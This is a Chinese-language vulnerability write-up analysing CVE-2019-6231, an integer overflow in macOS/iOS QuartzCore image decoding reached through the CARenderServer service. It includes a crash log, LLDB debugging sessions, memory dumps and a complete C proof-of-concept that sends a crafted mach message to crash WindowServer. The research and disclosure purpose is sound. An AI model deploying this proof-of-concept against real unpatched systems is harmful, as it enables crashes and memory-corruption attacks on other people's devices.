CVE-2019-6231 漏洞是一个 QuartzCore 框架中处理图像时产生的整数溢出漏洞,具体的位置在 CA::Render::Image::decode() 函数中。
2019年1月22日,苹果发布了 macOS Mojave 10.14.3 以及 iOS 12.1.3,这次更新修复了许多安全漏洞,其中就包括 CVE-2019-6231 漏洞。
18年的12月14日,我曾经在 macOS Mojave 10.14.2 中发现了这个漏洞,并且在21日报告给了苹果。
然而遗憾的是,苹果回应这个问题已经在 macOS Mojave 10.14.3 beta 中被修复了,而这个版本是在12月19日发行的。
接下来,本文将对这个漏洞展开详细的分析。
漏洞概览
QuartzCore 是一个 macOS 和 iOS 用来渲染动画场景图形的框架,有时候也被成为 CoreAnimation。
QuartzCore 的渲染模式非常特别,它的图形操作都是运行再一个单独的进程中。
在 macOS 中,这个进程是 WindowServer, 在 iOS 中,这个进程是 backboard 。
QuartzCore 中有个一服务 com.apple.CARenderServer (也被称为 CARenderServer) 可以在 Safari 的沙箱中被访问, 并在 macOS 和 iOS 中都存在。
这个服务中有一个函数 CA::Render::Image::decode() ,用来为 QuartzCore 解析 Image 对象。然而,这个函数在解析 Image 对象时,存在一个整型溢出漏洞。
这个可能会导致一个恶意的应用对受限内存的访问。
以下就是 WindowServer 进程在触发漏洞时的日志。
Process: WindowServer [57329]
Path: /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
Identifier: WindowServer
Version: 600.00 (337.5)
Code Type: X86-64 (Native)
Parent Process: launchd [1]
Responsible: WindowServer [57329]
User ID: 88
Date/Time: 2018-12-14 16:51:08.093 -0800
OS Version: Mac OS X 10.14.2 (18C54)
Report Version: 12
Anonymous UUID: 0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B
Sleep/Wake UUID: 7F5E9869-8B81-4B2F-8BBC-54048DE83A26
Time Awake Since Boot: 15000 seconds
Time Since Wake: 7000 seconds
System Integrity Protection: disabled
Crashed Thread: 2 com.apple.coreanimation.render-server
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000008000000018
Exception Note: EXC_CORPSE_NOTIFY
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [57329]
External Modification Warnings:
Thread creation by external task.
Debugger attached to process.
VM Regions Near 0x8000000018:
CoreAnimation 00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV
-->
STACK GUARD 0000700009f5e000-0000700009f5f000 [ 4K] ---/rwx SM=NUL stack guard for thread 6
Application Specific Information:
StartTime:2018-12-14 16:28:00
GPU:IG
MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)
IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0
Thread 0:: Dispatch queue: com.apple.main-thread
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.SkyLight 0x00007fff6f2c95fc run_one_server_pass + 337
3 com.apple.SkyLight 0x00007fff6f2c9436 CGXRunOneServicesPass + 460
4 com.apple.SkyLight 0x00007fff6f2ca0bc server_loop + 96
5 com.apple.SkyLight 0x00007fff6f2ca055 SLXServer + 1149
6 WindowServer 0x000000010d30e4d0 0x10d30d000 + 5328
7 libdyld.dylib 0x00007fff761bded9 start + 1
Thread 1:
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.CoreDisplay 0x00007fff48f09851 0x7fff48e57000 + 731217
3 com.apple.CoreDisplay 0x00007fff48f099af 0x7fff48e57000 + 731567
4 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
5 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
6 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 2 Crashed:: com.apple.coreanimation.render-server
0 com.apple.CoreFoundation 0x00007fff48f45575 CFRetain + 15
1 com.apple.QuartzCore 0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87
2 com.apple.QuartzCore 0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50
3 com.apple.QuartzCore 0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104
4 com.apple.QuartzCore 0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075
5 com.apple.QuartzCore 0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131
6 com.apple.QuartzCore 0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116
7 com.apple.QuartzCore 0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199
8 com.apple.QuartzCore 0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329
9 com.apple.QuartzCore 0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748
10 com.apple.QuartzCore 0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968
11 com.apple.QuartzCore 0x00007fff53f8fb92 thread_fun(void*) + 25
12 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
13 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
14 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 3:…….
[truncated]
我们可以看到,这个崩溃发生在线程 com.apple.coreanimation.render-server 中, 服务 com.apple.CARenderServer 是在/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore 中实现的, 并且通过函数CA::Render::Server::register_name(CA::Render::Server this, const char a2) 中注册。
线程 com.apple.coreanimation.render-server 的功能是在函数 CA::Render::Server::server_thread 中实现的。
这个函数主要是用来接收并处理来自客户端的 mach message。
当这个线程接收到一个 msgh_id 为 40002 或者 40003 的 mach message 时,他会调用函数CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage this)* 来处理接收到的命令序列。
而这个漏洞正是在函数 CA::Render::Server::ReceivedMessage::run_command_stream 中。
Proof of Concept
接下来,我将利用以下PoC来触发这个漏洞:
#include <stdio.h>
#include <mach/i386/kern_return.h>
#include <mach/mach_traps.h>
#include <servers/bootstrap.h>
#include <dirent.h>
#include <sys/stat.h>
#include <time.h>
#include <dlfcn.h>
#include <unistd.h>
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;
struct quartzcore_mach_msg{
mach_msg_header_t header;
char msg_body[712];
};
uint64_t get_filesize(const char *fn){
struct stat st;
stat(fn, &st);
uint64_t fsize = st.st_size;
return fsize;
};
int main(int argc, const char * argv[]) {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
return -1;
}
printf("[*] Get service of %s successully!n", render_service_name);
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
return -1 ;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
printf("[*] context_port: 0x%x, conn_id: 0x%xn",context_port,conn_id);
char *crash_log = "crash.data"; //size is 736.
FILE *fp = fopen(crash_log, "rb");
if(fp == NULL){
printf("fopen error!n");
}
uint64_t fsize = get_filesize(crash_log);
void *msg_buf = malloc(fsize);
memset(msg_buf, 0, fsize);
fread(msg_buf, fsize, 1, fp);
quartzcore_mach_msg_t qc_mach_msg = {0};
qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
qc_mach_msg.header.msgh_remote_port = context_port;
qc_mach_msg.header.msgh_id = 40002;
memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));
*(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1; // Ports count
memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);
*(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;
kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: 0x%dn", kr);
return -1 ;
}
return 0;
}
正常的 mach message 与恶意的 mach message的不同已经在下图中的字段中标明:
从图3可以看出,我们只需要把 0x142 处的 0x00 修改为 0x80 就能够触发这个漏洞。
为了发送这个恶意的 mach message, 我们首先需要发送一个 msgh_id 为 40202的 mach message (相应的处理函数为 _XRegisterClient) 来获取每个新接入客户端的 connection id。
获取到 connection id 之后,会把 connection id 写入相应的位置 (0x2C), 最终,利用这个修改后的 mach message 触发该漏洞。
漏洞原因溯源
在这一部分,我们将利用LLDB对这个漏洞进行动态调试,找出漏洞形成的根本原因。
需要注意的是,你需要通过 SSH 模式对 WindowServer 进程进行调试。
根据线程崩溃时的函数栈,我们可以在 CA::Render::Server::ReceivedMessage::run_command_stream 函数上设置一个条件中断。
br s -n CA::Render::Server::ReceivedMessage::run_command_stream
br mod -c '*(int*)($r13+0x2c) == [conn_id]'
其中 conn_id 可以设置为PoC代码在79行打印出来的conn_id。
当命中这个断点后,我们可以查看发送的恶意 mach message。
其中 r13 寄存器指向了恶意 mach message。
(lldb) c
Process 172 resuming
Process 172 stopped
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1
frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:
-> 0x7fff3fca6824 <+0>: pushq %rbp
0x7fff3fca6825 <+1>: movq %rsp, %rbp
0x7fff3fca6828 <+4>: pushq %r15
0x7fff3fca682a <+6>: pushq %r14
Target 0: (WindowServer) stopped.
(lldb) re read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0x0000000000009c42
rcx = 0x0000000000000002
rdx = 0x000000000000c203
rdi = 0x000070000cc52ca0
rsi = 0x000000000000c203
rbp = 0x000070000cc52ef0
rsp = 0x000070000cc51c78
r8 = 0x000000000001450b
r9 = 0x0000000000000000
r10 = 0x0000000000001000
r11 = 0x0000000000000202
r12 = 0x0000000000000000
r13 = 0x000070000cc51ca0
r14 = 0x00007fff8ece4b20 QuartzCore`CA::Render::Server::_callback_lock
r15 = 0x00007fd93f2f5300
rip = 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
rflags = 0x0000000000000293
cs = 0x000000000000002b
fs = 0x0000000000000000
gs = 0x0000000000000000
(lldb) x -c 0x2e0 0x000070000cc51ca0
0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00 ....?......./?..
0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00 ....B...........
0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60 ..............5`
0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00 ;?'Y.?w@.?......
0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01 .?....0.......?.
0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c ...@?0.....?....
0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 ..?...??.,?.....
0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20 .?.....h.@.....
0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@..............
0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20 ...............
0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02 ..?0.....?.....
0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00 .?...??.,?......
0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22 ?.....@F@......"
0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32 ......@V@......2
0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00 @?`.!.....?.....
0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00 ...?...$........
0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00 ....??. .....?..
0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00 .-9..m..........
0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00 ........?.......
0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80 ....?...?...?...
0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02 ?............ ..
0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00 ??0.....?.......
0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ...............?
0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 ...??.,?......?.
0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00 ....d.@......w@.
0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00 ....@V@......2@.
0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80 ............ ...
0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00 ?0.....?........
0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 ..............?.
0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 ..??.,?......?..
0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1 ........... ...?
0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00 ......?.........
0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01 .............?..
0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00 .??.,?......?...
0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 .......... .....
(lldb)
函数 CA::Render::Decoder::decode_object(CA::Render::Decoder this, CA::Render::Decoder a2) 可以解码所有类型的对象数据。
内存中 0x70000cc51d6e 处的数据是一个 Layer 对象(在图4中标记为绿色)。
图5是用来解析 Layer 对象的代码
我们来看看一个 Layer 对象是如何被解析的,下图表明了一个 Layer 对象中每个域(field)的含义
对 Layer 对象进行解析的函数 CA::Render::Layer::Layer(CA::Render::Layer this, CA::Render::Decoder a2) 的实现如下:
我们可以看到,后面的数据也是一个对象。接下来,我们追踪一下后面那个对象是怎么被处理的。
图8所示,那个对象的第一个字节代表了这个对象的类型。0x16表示这个对象是一个Image对象(图9)
接下来,我们看看函数 CA::Render::Image::decode 是如何解码一个 Image 对象的。
图11 中表示了一个 Image 对象中每个域的含义。
我们可以看到,最后的8个字节(00 03 00 00 00 00 00 80)被解码成为了size_t类型,它的值就是我们设置的异常值。
在图10中,v9的值就会被解析成0x8000000000000300,然后被作为一个参数传递给CA::Render::validate_rowbytes函数。
接下来,我们仔细分析一下CA::Render::validate_rowbytes函数如何来处理这个值。
不难看出,函数CA::Render::validate_rowbytes 中的运算 a2 (_QWORD )(a3 + 8LL v4)存在整型溢出。
根据图11所述,a2的通过函数CA::Render::Decoder::decode_int32获取,值为0x24。
所以v6的值会因为整型溢出而等于0。
整个函数的返回值为0。
而正常情况下,它的返回值应该是1。
现在回到图10中,看到因为函数 CA::Render::validate_rowbytes 返回了0, 导致程序运行到了分支 LABEL_31。
然后调用 CA::Render::Texture::decode 去解码后面的数据,图14就是函数 CA::Render::Texture::decode 的实现。
可以看到,在函数CA::Render::Texture::decode中,接下来会调用函数 CA::Render::Decoder::decode_colorspace 来读取 color space 数据。
首先,它会解码一个 int8 类型的整数,结果是0x01。
它接下来可以执行到 case 1 的分支。
v3 的值为 0xFE, 并且会将 v3 作为参数传给函数 CAGetColorSpace。
函数 CAGetColorSpace 的实现如下:
在函数 CAGetColorSpace中,由于a1为 0xFE,因此对 colorspaces 数组取值的索引为 0xFE,超过了 colarspaces 数组的最大索引,因此实现了对受限内存的访问。
如图18所示,对受限内存的访问地址为0x291EE0(0x2916F0+0xFE*8)。
因此,函数 CAGetColorSpace 的返回值为0x8000000010。
很明显,这是一个非法的内存地址。
当这个地址被作为参数传递给函数 CFRetain,它会抛出一个 EXC_BAD_ACCESS 的异常。
总结
现在,我们已经深入分析了 CVE-2019-6231 漏洞。
尽管这个漏洞影响了 macOS 和 iOS,然而在这个博客中,我们只是深入分析了它在 macOS 上的行为。
受影响的版本
macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.2
iPhone 5s 或更高版本, iPad Air 或更高版本, and iPod touch 6
参考文献
https://support.apple.com/en-us/HT209446
https://support.apple.com/en-us/HT209443
https://ssd-disclosure.com/index.php/archives/3796